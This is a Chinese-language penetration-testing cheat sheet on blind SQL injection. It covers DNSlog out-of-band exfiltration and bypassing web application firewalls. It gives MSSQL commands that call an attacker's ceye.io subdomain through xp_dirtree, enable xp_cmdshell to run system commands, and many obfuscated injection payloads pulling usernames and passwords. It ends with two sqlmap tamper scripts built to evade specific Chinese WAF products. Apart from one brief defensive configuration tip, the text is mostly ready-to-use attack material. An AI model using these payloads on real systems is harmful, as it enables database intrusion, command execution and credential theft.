'DNSlog数据外带及过waf'

dnslog数据外带

使用情况,确定存在注入点,但返回数据无回显时,尝试使用此方法
外带平台 :xip.io ceye.io


1,MSSQL查询当前数据库


第二个数据库

查询表名


2,MySQL查询数据库版本


查询库名


第二个库名


通过修改箭头数字,查看其他库名

查询表名

3,数据库操作
exec master…xp_dirtree “//123.xajwd3.ceye.io/123
exec master…xp_cmdshell “whoami”

exec(sp_configure “‘show advanced options’,1”);RECONFIGURE;exec(“sp_configure ‘xp_cmdshell’,1”);RECONFIGURE;exec(‘xp_cmdshell ‘whoami’’)

相关资料https://www.anquanke.com/post/id/98096
设置my.ini参数,可限制文件的导入导出

参数为空,这个变量没有效果
secure_file_prive=null 限制mysqld 不允许导入 | 导出
secure_file_priv=/tmp/ 限制mysqld 的导入 | 导出 只能发生在/tmp/目录下
修改后重启数据库,查看是否正常使用

常见过waf技巧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
常见注释符 // (双斜线)、-- (杠杠空格)、/**/ (杠星星杠)
--+ (杠杠加)、 -- -(杠杠空格杠) 、;(分号)、--a(杠杠a)
1.特征字符大小写(基本没用)
UnIoN SeLcT 1,2,3

2.内联注释
id=-1/*!UNION*/%20//*!SELECT*/%201,2,3
id=-1%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53elEct*/%0A/*nnaa*/+1,2,3
/*!50000%55nIOn*/ 50000表示加入数据库是5.00.00以上版本,该语句才会被推行

3.特殊字符代替空格
%09 tab键(水平)、%0a 换行、%0c 新的一页
%0d return功能、%0b tab键(垂直)、%a0空格

4.等价函数和逻辑符号
hex()、bin()==>ascii()
sleep()==>benchmark()
concat_ws()==>group_concat()
mid()、substr()==>substring()
@@version==>version()
@@datadir==>datadir()
逻辑符号:如and和or不能使用时,尝试&&和||双管道符。

5.特殊符号
反引号,select `version()`,绕过空格和正则
加号和点,"+""."代表连接,也可绕过空格和关键字过滤
@符号,用于定义变量,一个@代表用户变量,@@代表系统变量

6.关键字拆分
'se'+'lec'+'t'
%S%E%L%C%T 1,2,3
?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell"net user"')
!和():'or--+2=--!!!'2
id=1+(UnI)(oN)+(SeL)(EcT)

7.加括号绕过
小括号
union (select+1,2,3+from+users)%23
union(select(1),(2),(3)from(users))
id=(1)or(0x50=0x50)
id=(-1)union(((((((select(1),hex(2),hex(3)from(users))))))))
花括号
select{x user}from{x mysql.user}
id=-1 union select 1,{x 2},3

8.过滤and和or下的盲注
id=strcmp(left((select%20username%20from%20users%20limit%200,1),1),0x42)%23
id=strcmp(left((select+username+from+limit+0,1),1,0x42)%23

9.白名单绕过
拦截信息:GET /pen/news.php?id=1 union select user,password from mysql.user
绕过:GET /pen/news. php/admin?id=1 union select user,password from mysql. user
GET /pen/admin/..\news. php?id=1 union select user,password from mysql. user

10.HTTP参数控制
(1)HPP(HTTP Parmeter Polution)(重复参数污染)
举例:
index.php?id=1 union select username,password from users
index.php?id=1/**/union/*&id=*/select/*&id=*/username.password/*&id=*/from/*&id=*/users
HPP又称作重复参数污染,最简单的是?uid=1&uid=2&uid=3,对于这种情况,不用的web服务器处理方式不同。
具体WAF如何处理,要看设置的规则,不过示例中最后一个有较大可能绕过
(2)HPF(HTTP Parmeter Fragment)(HTTP分割注入)
HTTP分割注入,同CRLF有相似之处(使用控制字符%0a、%0d等执行换行)
举例:
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users --+

相关资料https://blog.csdn.net/qq_25899635/article/details/90476644

sqlmap bypass D盾 tamper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass

def tamper(payload, **kwargs):
"""
BYPASS Ddun
"""
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "/*DJSAWW%2B%26Lt%3B%2B*/"
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += "/*DJSAWW%2B%26Lt%3B%2B*/"
continue
retVal += payload[i]
return retVal

sqlmap bypass 云锁 tamper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import re

from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
payload=payload.replace('ORDER','/*!00000order*/')
payload=payload.replace('ALL SELECT','/*!00000all*/ /*!00000select')
payload=payload.replace('CONCAT(',"CONCAT/**/(")
payload=payload.replace("--"," */--")
payload=payload.replace("AND","%26%26")
return payload

sqlmap_修改tamper脚本_绕过WAF并制作通杀0day

https://mp.weixin.qq.com/s/5mYkg_ABiY2G4veTwI6BVQ